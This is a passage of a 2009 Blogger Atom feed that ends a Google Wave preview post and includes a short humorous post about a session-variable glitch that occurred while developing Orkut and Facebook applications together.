something like resizing the windows. The pretty new scroll bar is cute.&lt;br /&gt;&lt;br /&gt;About bots, you can add bots to your conversation that augments information like if we type some keywords, the bots parse them and fetch the information and populates the conversation for you.&lt;br /&gt;&lt;br /&gt;Am still trying it out .. So will keep updated here..&lt;br /&gt;Read on</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/733698553397994117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/733698553397994117' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/733698553397994117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/733698553397994117'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/08/google-wave-review-preview-dev.html' title='Google Wave Review &amp; Dev Preview'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvvlw9U1ZTX6iQ3PtVTuhu_-oJdGTX0jp8Yov4c8YuYCjB8tczIaiz-4aLb42XvDsDlq1fUt7PBMQDU7LIhfx6tN0KROEGbtZKIvEEnA5dMyaIjAqX8-kmFPGXamXSYDu0gwGS0MM1Uyk/s72-c/wave-screenshot.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-8970846645529367500</id><published>2009-07-31T06:01:00.001-07:00</published><updated>2009-07-31T06:09:29.326-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Fun"/><category scheme="http://www.blogger.com/atom/ns#" term="Orkut"/><title type='text'>This is what happens when you develop Orkut and Facebook Applications Simultaneously</title><content type='html'>&lt;b&gt;The thing&lt;/b&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCb9tHO-WZE9x1p9vEZRFGFlDPPMJKzrSI_FacjyiB0tYRxQH1xOhWKVbA8VdyifXbq4dYWsvhYxACVd-2hg-wBIZN0I7_y27jrBfQQrVYWItcHfkWcbMVLnLcrUuCp3ioKmZGK_IDnxA/s1600-h/orkut-facebook.jpg&quot;&gt;&lt;img style=&quot;float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 250px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCb9tHO-WZE9x1p9vEZRFGFlDPPMJKzrSI_FacjyiB0tYRxQH1xOhWKVbA8VdyifXbq4dYWsvhYxACVd-2hg-wBIZN0I7_y27jrBfQQrVYWItcHfkWcbMVLnLcrUuCp3ioKmZGK_IDnxA/s400/orkut-facebook.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5364609920973077554&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Need I explain more?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Just in case, its a dialog to add the application profile view into your Facebook profile, within Orkut.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Technical Details&lt;/b&gt;&lt;br /&gt;Its just the Session variables screwing up, everything is fine. Although I could not resist putting up a screen shot of it. Are you an application developer? Let me know...</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/8970846645529367500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/8970846645529367500' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8970846645529367500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8970846645529367500'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/07/orkut-facebook-app-funny.html' title='This is what happens when you develop Orkut and Facebook Applications Simultaneously'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCb9tHO-WZE9x1p9vEZRFGFlDPPMJKzrSI_FacjyiB0tYRxQH1xOhWKVbA8VdyifXbq4dYWsvhYxACVd-2hg-wBIZN0I7_y27jrBfQQrVYWItcHfkWcbMVLnLcrUuCp3ioKmZGK_IDnxA/s72-c/orkut-facebook.jpg" height="72" width="72"/><thr:total>0</thr:total></entry></feed>